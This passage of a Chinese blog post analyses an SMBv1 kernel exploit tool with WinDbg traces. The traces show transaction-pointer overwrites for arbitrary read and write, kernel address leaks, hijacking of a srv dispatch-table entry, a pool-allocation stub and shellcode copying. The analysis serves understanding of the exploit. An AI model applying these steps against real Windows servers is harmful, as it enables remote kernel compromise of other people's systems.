fffff880`044afc60 00000000`00000000 : fffff880`044b0000 fffff880`044aa000 00000000`00000000 00000000`00000000 : nt!KxStartSystemThread+0x16

其实我们注意到复制的源地址的第一个8字节就是泄露出来的CONNECTION地址

目标地址如下:而这个应该就是“另一个transaction”OutData指针的位置

1
2
3
4
5
6
7
8
9
kd> dq rcx
fffff8a0`0292c1f8 fffff8a0`0292cffc 00000000`00000000
fffff8a0`0292c208 00000000`00000000 00000000`00000d00
fffff8a0`0292c218 00000000`00000090 00000101`00000000
fffff8a0`0292c228 08022cfa`08020000 00000000`0000f278
fffff8a0`0292c238 00000000`00000000 00000000`00000000
fffff8a0`0292c248 00000000`00000000 00000000`00010101
fffff8a0`0292c258 00000000`00000000 00000000`00000000
fffff8a0`0292c268 00000000`00000000 00000000`00000000

注释后的ida代码,

再结合下面的数据包中的数据,首先DataCount是0x28(40),就是上面memmove的大小

再看DataOffset是0x42,其实这个偏移刚好是数据包中CONNECTION的地址

还有一个DataDisplacement,这是控制能够覆盖到附近transaction的OutData的保证

泄露Transaction2Dispatch Table

这个是在SRV global data pointer的地址的基础上在前面0x1000偏移处开始寻找

以某次找到的SRV global data pointer地址: 0xFFFFF8800501AF28为例

请求的地址依次如下:(每次递增0x200)

1
2
3
4
5
6
0xFFFFF88005019F28
0xFFFFF8800501A128
0xFFFFF8800501A328
0xFFFFF8800501A528
0xFFFFF8800501A728
0xFFFFF8800501A928

从下面可以看到利用的目标地址都是相同的fffff8a0029471f8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
kd> g
rcx=fffff8a0029471f8
rdx=fffffa8019b2f492
r8=0000000000000028
fffffa80`19b2f492 28 9f 01 05 80 f8 ff ff-04 00 00 00 00 00 00 00 (...............
-----------------------
kd> g
Breakpoint 1 hit
srv!SrvCompleteExecuteTransaction+0x42e:
fffff880`0504900e e82d88fbff call srv!memmove (fffff880`05001840)
kd> g
rcx=fffff8a0029471f8
rdx=fffffa8019b78492
r8=0000000000000028
fffffa80`19b78492 28 a1 01 05 80 f8 ff ff-04 00 00 00 00 00 00 00 (...............
-----------------------
kd> g
Breakpoint 1 hit
srv!SrvCompleteExecuteTransaction+0x42e:
fffff880`0504900e e82d88fbff call srv!memmove (fffff880`05001840)
kd> g
rcx=fffff8a0029471f8
rdx=fffffa801d4910d2
r8=0000000000000028
fffffa80`1d4910d2 28 a3 01 05 80 f8 ff ff-04 00 00 00 00 00 00 00 (...............
-----------------------
kd> g
Breakpoint 1 hit
srv!SrvCompleteExecuteTransaction+0x42e:
fffff880`0504900e e82d88fbff call srv!memmove (fffff880`05001840)
kd> g
rcx=fffff8a0029471f8
rdx=fffffa801d495262
r8=0000000000000028
fffffa80`1d495262 28 a5 01 05 80 f8 ff ff-04 00 00 00 00 00 00 00 (...............
-----------------------
kd> g
Breakpoint 1 hit
srv!SrvCompleteExecuteTransaction+0x42e:
fffff880`0504900e e82d88fbff call srv!memmove (fffff880`05001840)
kd> g
rcx=fffff8a0029471f8
rdx=fffffa801d4910d2
r8=0000000000000028
fffffa80`1d4910d2 28 a7 01 05 80 f8 ff ff-04 00 00 00 00 00 00 00 (...............
-----------------------
kd> g
Breakpoint 1 hit
srv!SrvCompleteExecuteTransaction+0x42e:
fffff880`0504900e e82d88fbff call srv!memmove (fffff880`05001840)
kd> g
rcx=fffff8a0029471f8
rdx=fffffa801d495262
r8=0000000000000028
fffffa80`1d495262 28 a9 01 05 80 f8 ff ff-04 00 00 00 00 00 00 00 (...............
-----------------------

猜想是根据Transaction2Dispatch Table前面的特征确认的吧,因为前面搜到的包都没有0xfefefefe的,只有Transaction2Dispatch Table有,假如我写代码可能会这么判断,还有就是这个表后面的两个函数指针是保留指针,所以地址相同,这个可以进一步判断

一步步获得执行权限

注:下面可能为多次调试,地址会变了,但最后一个字节应该是一样的

确认可执行内存(其实是查找nt!KxUnexpectedInterrupt0)

第一次请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> g
rcx=fffff8a002b8b1f8
rdx=fffffa801d4910d2
r8=0000000000000028
fffffa80`1d4910d2 fffffa80`1ab79468
fffffa80`1d4910da 00000000`00000004
fffffa80`1d4910e2 00000000`00000000
fffffa80`1d4910ea 00000000`00000010
fffffa80`1d4910f2 00000008`00000000
fffffa80`1d4910fa 214566a9`5cd855bc
fffffa80`1d491102 995a4c01`7568295b
fffffa80`1d49110a cde73a8f`4b46d657
fffffa80`1d491112 2074631c`2642b6d5
fffffa80`1d49111a 6d075bd2`381cc2b5
fffffa80`1d491122 3507fd35`8ec65767
fffffa80`1d49112a 46ef33c5`fb8019bc
fffffa80`1d491132 7d035bce`e8ab0172
fffffa80`1d49113a 27ac73f0`53a151b0
fffffa80`1d491142 2c02a856`90036e2a
fffffa80`1d49114a cff25698`1fc097a9

读取的核心内容如下:

1
fffffa80`1ab79468  fffffa80`1d48a600

根据命令行的输出,这个是PreferredWorkQueue的地址

那么这个fffffa801ab79468地址是怎么来的呢,经过下个巧妙的断点,再ctrl+f,就找到了

断点如下

1
bp srv!SrvSmbTransactionSecondary+0x2cf ".if (@r8 > 0x8) {r rcx;r rdx;r r8;dqs rdx;.echo ***************************;dqs poi(rdx);.echo -----------------------}.else{gc}"

我们发现fffffa801ab79468就在CONNECTION地址的0x78偏移处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fffffa80`1ab793f0  0000004a`04700202
fffffa80`1ab793f8 00000000`00000000
fffffa80`1ab79400 00000000`00000000
fffffa80`1ab79408 00000000`00000000
fffffa80`1ab79410 00000000`00000000
fffffa80`1ab79418 00000000`00000000
fffffa80`1ab79420 00000000`00000000
fffffa80`1ab79428 fffff880`0501afa0 srv!SrvGlobalSpinLocks+0xc0
fffffa80`1ab79430 fffffa80`1d48a600
fffffa80`1ab79438 00000000`ffffffa8
fffffa80`1ab79440 fffffa80`1de24a50
fffffa80`1ab79448 80130000`00004000
fffffa80`1ab79450 00000000`00000013
fffffa80`1ab79458 fffffa80`1d4d1dd0
fffffa80`1ab79460 fffffa80`19aa6040
fffffa80`1ab79468 fffffa80`1d48a600

之后就会泄露PreferredWorkQueue+0x198:即读取fffffa801d48a798的值

1
2
3
4
5
6
7
8
9
kd> g
rcx=fffff8a002a241f8
rdx=fffffa801d4910d2
r8=0000000000000028
fffffa80`1d4910d2 fffffa80`1d48a798
......
***************************
fffffa80`1d48a798 fffffa80`1d48e040
......

而获取到的 fffffa801d48e040正是IrpThread

KProcess的值便是IrpThread+0x220处的值

1
2
kd> dqs fffffa801d48e040+0x220
fffffa80`1d48e260 fffffa80`18c5f980

ProcessListEntry.Blink是在KProcess+0x240处(到这才有符号,汗,没控制台的输出那就很难搞了)

1
2
kd> dqs fffffa80`18c5f980+0x240 l1
fffffa80`18c5fbc0 fffff800`1aeefc80 nt!KiProcessListHead

接下来不断向后搜寻从fffff8001ac20000开始向前寻找,在fffff8001ac1e000找到了Nt的基址(Base of Nt)

1
2
3
fffff800`1ac20000 nt!XpressDecodeCreate+0x20
fffff800`1ac1f000 nt! ?? ::FNODOBFM::`string'+0x4c05a
fffff800`1ac1e000 nt!`string' <PERF> (nt+0x0)

那是怎么确定这就是Nt的基址呢?(感觉有点不靠谱,就一个MZ)

在之后就泄露下面两个地址(我猜测nt!KxUnexpectedInterrupt0是通过Nt的基址算出来的)

1
2
fffff800`1ac1e258 nt!`string' <PERF> (nt+0x258)
fffff800`1ae8f000 nt!KxUnexpectedInterrupt0

而nt!KxUnexpectedInterrupt0正是可读可写地址

写入一些数据及SrvTransaction2DispatchTable函数指针改写

首先将fffff8001ae8f000覆盖一个transaction的InData指针,为写入shellcode做准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
kd> r
rax=0000000000000000 rbx=fffffa801de91820 rcx=0000000000000000
rdx=0000000000004fe0 rsi=fffff8a002948010 rdi=0000000000000002
rip=fffff8800507e364 rsp=fffff88004f1ea20 rbp=fffffa8019f45010
r8=0000000000000042 r9=fffffa8019f46450 r10=0000000000000000
r11=0000000000000026 r12=fffffa8019f46450 r13=0000000000000001
r14=0000000000000008 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000202
srv!SrvSmbTransactionSecondary+0x2b4:
fffff880`0507e364 8b8c24a8000000 mov ecx,dword ptr [rsp+0A8h] ss:0018:fffff880`04f1eac8=00004fe0
kd> t
srv!SrvSmbTransactionSecondary+0x2bb:
fffff880`0507e36b 8b9424a0000000 mov edx,dword ptr [rsp+0A0h]
kd> t
srv!SrvSmbTransactionSecondary+0x2c2:
fffff880`0507e372 4d8bc6 mov r8,r14
kd> t
srv!SrvSmbTransactionSecondary+0x2c5:
fffff880`0507e375 48038e80000000 add rcx,qword ptr [rsi+80h]
kd> r
rax=0000000000000000 rbx=fffffa801de91820 rcx=0000000000004fe0
rdx=0000000000000042 rsi=fffff8a002948010 rdi=0000000000000002
rip=fffff8800507e375 rsp=fffff88004f1ea20 rbp=fffffa8019f45010
r8=0000000000000008 r9=fffffa8019f46450 r10=0000000000000000
r11=0000000000000026 r12=fffffa8019f46450 r13=0000000000000001
r14=0000000000000008 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000202
srv!SrvSmbTransactionSecondary+0x2c5:
fffff880`0507e375 48038e80000000 add rcx,qword ptr [rsi+80h] ds:002b:fffff8a0`02948090=fffff8a002948310
kd> dqs fffff8a002948310+4fe0
fffff8a0`0294d2f0 fffff8a0`0291a170
fffff8a0`0294d2f8 fffff8a0`0294dffc
fffff8a0`0294d300 00000000`00000000
fffff8a0`0294d308 00000000`00000000
fffff8a0`0294d310 000002ec`00000c50
fffff8a0`0294d318 00000000`00001000
fffff8a0`0294d320 00000101`00000000
fffff8a0`0294d328 08005f5d`08000000
fffff8a0`0294d330 00000000`00000000
fffff8a0`0294d338 00000000`00000000
fffff8a0`0294d340 00000000`00000000
fffff8a0`0294d348 00000000`00000000
fffff8a0`0294d350 00000000`00010101
fffff8a0`0294d358 00000000`00000000
fffff8a0`0294d360 00000000`00000000
fffff8a0`0294d368 00000000`00000000
kd> dqs fffff8a002948310+4fe0-0x80
fffff8a0`0294d270 00000000`0d8c020c
fffff8a0`0294d278 fffffa80`19a64dd0
fffff8a0`0294d280 fffffa80`1de91600
fffff8a0`0294d288 fffff8a0`07575310
fffff8a0`0294d290 fffff8a0`02a4e2d0
fffff8a0`0294d298 fffff8a0`02953298
fffff8a0`0294d2a0 fffff8a0`02926298
fffff8a0`0294d2a8 00000000`00000000
fffff8a0`0294d2b0 00000000`00020000
fffff8a0`0294d2b8 fffff8a0`0294d368
fffff8a0`0294d2c0 00000001`0000aec0
fffff8a0`0294d2c8 00000000`00000000
fffff8a0`0294d2d0 fffff8a0`0294d36c
fffff8a0`0294d2d8 00000000`00000000
fffff8a0`0294d2e0 fffff8a0`0294d36c
fffff8a0`0294d2e8 fffff8a0`0294d3ac
kd> p
srv!SrvSmbTransactionSecondary+0x2cc:
fffff880`0507e37c 4903d4 add rdx,r12
kd> p
srv!SrvSmbTransactionSecondary+0x2cf:
fffff880`0507e37f e8bc34f8ff call srv!memmove (fffff880`05001840)
kd> r rcx;r rdx;r r8;dqs rdx l1
rcx=fffff8a00294d2f0
rdx=fffffa8019f46492
r8=0000000000000008
fffffa80`19f46492 fffff800`1ae8f000 nt!KxUnexpectedInterrupt0

在数据包体现如下:

之后将一些数据复制到fffff8001ae8f000(nt!KxUnexpectedInterrupt0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
kd> p
srv!SrvSmbTransactionSecondary+0x2cf:
fffff880`0507e37f e8bc34f8ff call srv!memmove (fffff880`05001840)
kd> dqs rcx
fffff800`1ae8f000 00000000`00000000
fffff800`1ae8f008 00000000`00000000
fffff800`1ae8f010 00000000`00000000
fffff800`1ae8f018 00000000`00000000
fffff800`1ae8f020 00000000`00000000
fffff800`1ae8f028 00000000`00000000
fffff800`1ae8f030 00000000`00000000
fffff800`1ae8f038 00000000`00000000
fffff800`1ae8f040 00000000`00000000
fffff800`1ae8f048 00000000`00000000
fffff800`1ae8f050 00000000`00000000
fffff800`1ae8f058 00000000`00000000
fffff800`1ae8f060 00000000`00000000
fffff800`1ae8f068 00000000`00000000
fffff800`1ae8f070 00000000`00000000
fffff800`1ae8f078 00000000`00000000
kd> dqs rdx
fffffa80`1d4910d2 00002025`048b4865
fffffa80`1d4910da 31000008`b0054800
fffffa80`1d4910e2 48000000`1e158bc9
fffffa80`1d4910ea c4834810`ff20ec83
fffffa80`1d4910f2 05894807`74c08520
fffffa80`1d4910fa 000000c3`00000001
fffffa80`1d491102 000e4d00`00000000
fffffa80`1d49110a 2a969ca5`ecab4b00
fffffa80`1d491112 a9de88cb`491de58a
fffffa80`1d49111a 3801ef46`5ee55211
fffffa80`1d491122 dd8aaf7b`a51450d2
fffffa80`1d49112a 9014a39f`e9ac2946
fffffa80`1d491132 e988be8a`6a2841cd
fffffa80`1d49113a d4368226`6aae25f2
fffffa80`1d491142 d175284b`b478ce65
fffffa80`1d49114a c52f5324`db21de6f
kd> r r8
r8=0000000000000039

数据包体现

复制了上面这些数据后,再将目标transaction的InData指针替换为fffff8800501a990:srv!SrvTransaction2DispatchTable+0x70,为改写这个表做准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> p
srv!SrvSmbTransactionSecondary+0x2cf:
fffff880`0507e37f e8bc34f8ff call srv!memmove (fffff880`05001840)
kd> dqs rdx
fffffa80`1d495262 fffff880`0501a990 srv!SrvTransaction2DispatchTable+0x70
fffffa80`1d49526a 00000000`00000004
fffffa80`1d495272 00000000`00000000
fffffa80`1d49527a 00000000`00000010
fffffa80`1d495282 00000002`00000000
fffffa80`1d49528a 4e414c02`00323030
fffffa80`1d495292 0200312e`324e414d
fffffa80`1d49529a 2e30204d`4c20544e
fffffa80`1d4952a2 00000000`00003231
fffffa80`1d4952aa 00000000`00000000
fffffa80`1d4952b2 00000000`00000000
fffffa80`1d4952ba 00000000`00000000
fffffa80`1d4952c2 00000000`00000000
fffffa80`1d4952ca 00000000`00000000
fffffa80`1d4952d2 00000000`00000000
fffffa80`1d4952da 00000000`00000000
kd> dqs rcx
fffff8a0`05c5f2f0 fffff800`1ae8f000 nt!KxUnexpectedInterrupt0
fffff8a0`05c5f2f8 fffff8a0`05c5fffc
fffff8a0`05c5f300 00000000`00000000
fffff8a0`05c5f308 00000000`00000000
fffff8a0`05c5f310 00000325`00000c50
fffff8a0`05c5f318 00000000`00001000
fffff8a0`05c5f320 00000101`00000000
fffff8a0`05c5f328 0800226e`08000000
fffff8a0`05c5f330 00000000`00000000
fffff8a0`05c5f338 00000000`00000000
fffff8a0`05c5f340 00000000`00000000
fffff8a0`05c5f348 00000000`00000000
fffff8a0`05c5f350 00000000`00010101
fffff8a0`05c5f358 00000000`00000000
fffff8a0`05c5f360 00000000`00000000
fffff8a0`05c5f368 00480000`00650000

接下来就可以修改srv!SrvTransaction2DispatchTable+0x70的位置为nt!KxUnexpectedInterrupt0了

1
2
3
4
5
6
7
8
9
kd> g
srv!SrvSmbTransactionSecondary+0x2cf:
fffff880`0507e37f e8bc34f8ff call srv!memmove (fffff880`05001840)
kd> r r8
r8=0000000000000008
kd> dqs rdx l1
fffffa80`1d495262 fffff800`1ae8f000 nt!KxUnexpectedInterrupt0
kd> dqs rcx l1
fffff880`0501a990 fffff880`050796e8 srv!SrvTransactionNotImplemented

一开始不知道为什么复制这些数据到那里,又要修改SrvTransaction2DispatchTable+0x70,后来下断点发现调用了这里的代码,原来这个数据也算是一个小shellcode

1
2
3
4
5
6
7
8
9
10
11
12
nt!KxUnexpectedInterrupt0:
fffff800`1ae8f000 65488b042520000000 mov rax,qword ptr gs:[20h] gs:002b:00000000`00000020=fffff8001af14180
fffff800`1ae8f009 4805b0080000 add rax,8B0h
fffff800`1ae8f00f 31c9 xor ecx,ecx
fffff800`1ae8f011 8b151e000000 mov edx,dword ptr [nt!KxUnexpectedInterrupt0+0x35 (fffff800`1ae8f035)]
fffff800`1ae8f017 4883ec20 sub rsp,20h
fffff800`1ae8f01b ff10 call qword ptr [rax]
fffff800`1ae8f01d 4883c420 add rsp,20h
fffff800`1ae8f021 85c0 test eax,eax
fffff800`1ae8f023 7407 je nt!KxUnexpectedInterrupt0+0x2c (fffff800`1ae8f02c)
fffff800`1ae8f025 48890501000000 mov qword ptr [nt!KxUnexpectedInterrupt0+0x2d (fffff800`1ae8f02d)],rax
fffff800`1ae8f02c c3 ret

原来这里调用了分配pool内存的函数

1
fffff800`1ae8f01b ff10            call    qword ptr [rax] ds:002b:fffff800`1af14a30={nt!ExAllocatePoolWithTag (fffff800`1ae8d040)}

大小是e4d(这个跟下面shellcode的大小是一致的)

1
2
3
4
kd> r rcx;r rdx;r r8
rcx=0000000000000000
rdx=0000000000000e4d
r8=fffffa801decf450

最后将分配的内存首地址复制给nt!KxUnexpectedInterrupt0+0x2d

1
2
3
4
nt!KxUnexpectedInterrupt0+0x25:
fffff800`1ae8f025 48890501000000 mov qword ptr [nt!KxUnexpectedInterrupt0+0x2d (fffff800`1ae8f02d)],rax
kd> r rax
rax=fffffa8018e2e010

之后就会读取nt!KxUnexpectedInterrupt0+0x2d的值,再向这个读取到的地址写入shellcode。(调试过程也看到要泄露nt!KxUnexpectedInterrupt0+0x2d的值,到这里就明白了)

shellcode的写入

下断点:

1
bp srv!SrvSmbTransactionSecondary+0x2cf "r r8;dqs rdx;.echo *****;dqs rcx;.echo -------------------;gc"

首先将一个transaction的InData改写为fffffa8018e8e010

1
2
3
4
5
6
r8=0000000000000008
fffffa80`1decf492 fffffa80`18e8e010
......
*****
fffff8a0`0295c2f0 fffff8a0`0288c170
......

之后向fffffa8018e8e010复制shellcode(我将shellcode前面改为0xcc开头了,好辨别)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
r8=0000000000000e4d
fffffa80`1d4910d2 ccccc300`000001e8
fffffa80`1d4910da cccccccc`cccccccc
fffffa80`1d4910e2 cccccccc`cccccccc
fffffa80`1d4910ea cccccccc`cccccccc
fffffa80`1d4910f2 cccccccc`cccccccc
fffffa80`1d4910fa cccccccc`cccccccc
fffffa80`1d491102 cccccccc`cccccccc
fffffa80`1d49110a cccccccc`cccccccc
fffffa80`1d491112 cccccccc`cccccccc
fffffa80`1d49111a cccccccc`cccccccc
fffffa80`1d491122 cccccccc`cccccccc
fffffa80`1d49112a cccccccc`cccccccc
fffffa80`1d491132 cccccccc`cccccccc
fffffa80`1d49113a cccccccc`cccccccc
fffffa80`1d491142 019fcccc`cccccccc
fffffa80`1d49114a 14b95ba4`45890000
*****
fffffa80`18e8e010 00000000`00000000
fffffa80`18e8e018 54bde856`dffbacaa
fffffa80`18e8e020 820890aa`408fa7fc
fffffa80`18e8e028 cc191a94`8d615dfb
fffffa80`18e8e030 55f0bdc2`c159734b
fffffa80`18e8e038 1a4e964d`3060b970
fffffa80`18e8e040 c95d31de`28434a9d
fffffa80`18e8e048 5b34921b`9f1c681c
fffffa80`18e8e050 082dddca`859bf538
fffffa80`18e8e058 5e4f0e40`e0079508
fffffa80`18e8e060 6ba205e4`70890952
fffffa80`18e8e068 779b5234`8a685c21
fffffa80`18e8e070 1f95de82`06f96739
fffffa80`18e8e078 13c4aeac`e812a79c
fffffa80`18e8e080 4f257902`8c95f77d
fffffa80`18e8e088 2be47417`95c0b867

shellcode前面的字节是软件作者自己加到shellcode前面的,其实就是跳转到shellcode,这样不知有什么好处

触发shellcode的执行

先将那个transaction的InData改为srv!SrvTransaction2DispatchTable+0x70

1
2
3
4
5
6
r8=0000000000000008
fffffa80`1d495262 fffff880`0501a990 srv!SrvTransaction2DispatchTable+0x70
......
*****
fffff8a0`0295c2f0 fffffa80`18e8e010
......

之后在srv!SrvTransaction2DispatchTable+0x70处写入shellcode地址(fffffa8018e8e010

1
2
3
4
5
6
r8=0000000000000008
fffffa80`1e2f7492 fffffa80`18e8e010
......
*****
fffff880`0501a990 fffff800`1ae8f000 nt!KxUnexpectedInterrupt0
......

最后发送一个command为0x32的包,触发那个表中的函数调用

漏洞分析总结

  1. 本工具主要利用SrvSmbTransactionSecondary中的memmove从而覆盖另一个transaction的OutData指针和InData地址从而到达任意地址写和任意地址读的漏洞
  2. 也利用了nt rename,之后利用RestartTransactionResponse的memmove覆盖另一个OutData指针
  3. 通过改写SrvNtTransactionDispatchTable的0x70偏移达到执行任意代码的目的
  4. 还有一段小shellcode,去分配pool内存
  5. 之后泄露pool内存的地址
  6. 最后将真正的shellcode复制到那个内存,最后触发shellcode执行

分析smb漏洞的一些总结

  1. nt trans request是用nt的函数来处理的,否则是不带nt的函数来处理(例子 SrvSmbNtTransactionSecondary和SrvSmbTransactionSecondary)
  2. nt trans request最后发送给客户端的时候是用SrvStartSend,不带nt的request使用的是SrvStartSend2
  3. 在64位系统的情况下 transaction的结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct transaction{
0x70 ParametersIn
0x78 ParametersOut
0x80 InData
0x88 OutData
0xa0 Dataoffset //不是100%肯定
0xa4 DataCount
0xa8 DataDisplacement //不是100%肯定


0xba Tid
0xbc Pid
0xbe Uid
0xc0 OtherInfo

0xd0 指向第一次回应的smb全部数据
0xd8 可能指向第一次回应的smb的body部分,就只header之后
0xdc 可能是第一个回应包的DataCount(就是有Secondary的数据包的情况下)

0xf0 Secondaryd的COMMAND值
}
1
2
3
SrvSmbTransactionSecondary的第一个参数偏移
0xc0 当前request的所有数据
0xc8 当前request的body部分
  1. CONNECTION地址的0x78偏移处储存的是PreferredWorkQueue
  2. PreferredWorkQueue+0x198偏移处储存的是IrpThread
  3. IrpThread+0x220偏移储存的是KProcess
  4. KProcess+0x240偏移存储的是nt!KiProcessListHead(ProcessListEntry.Blink)
  5. Nt的基址在nt!KiProcessListHead前面,本工具从nt!KiProcessListHead-0x2cfc80开始寻找
  6. 怎么确认找到了Nt的基址呢?就凭两个字节,就是MZ头,😄

参考资料

https://blogs.technet.microsoft.com/srd/2017/07/13/eternal-synergy-exploit-analysis/

http://blogs.360.cn/360safe/2017/04/19/eternalromance-analyze/

自愿打赏专区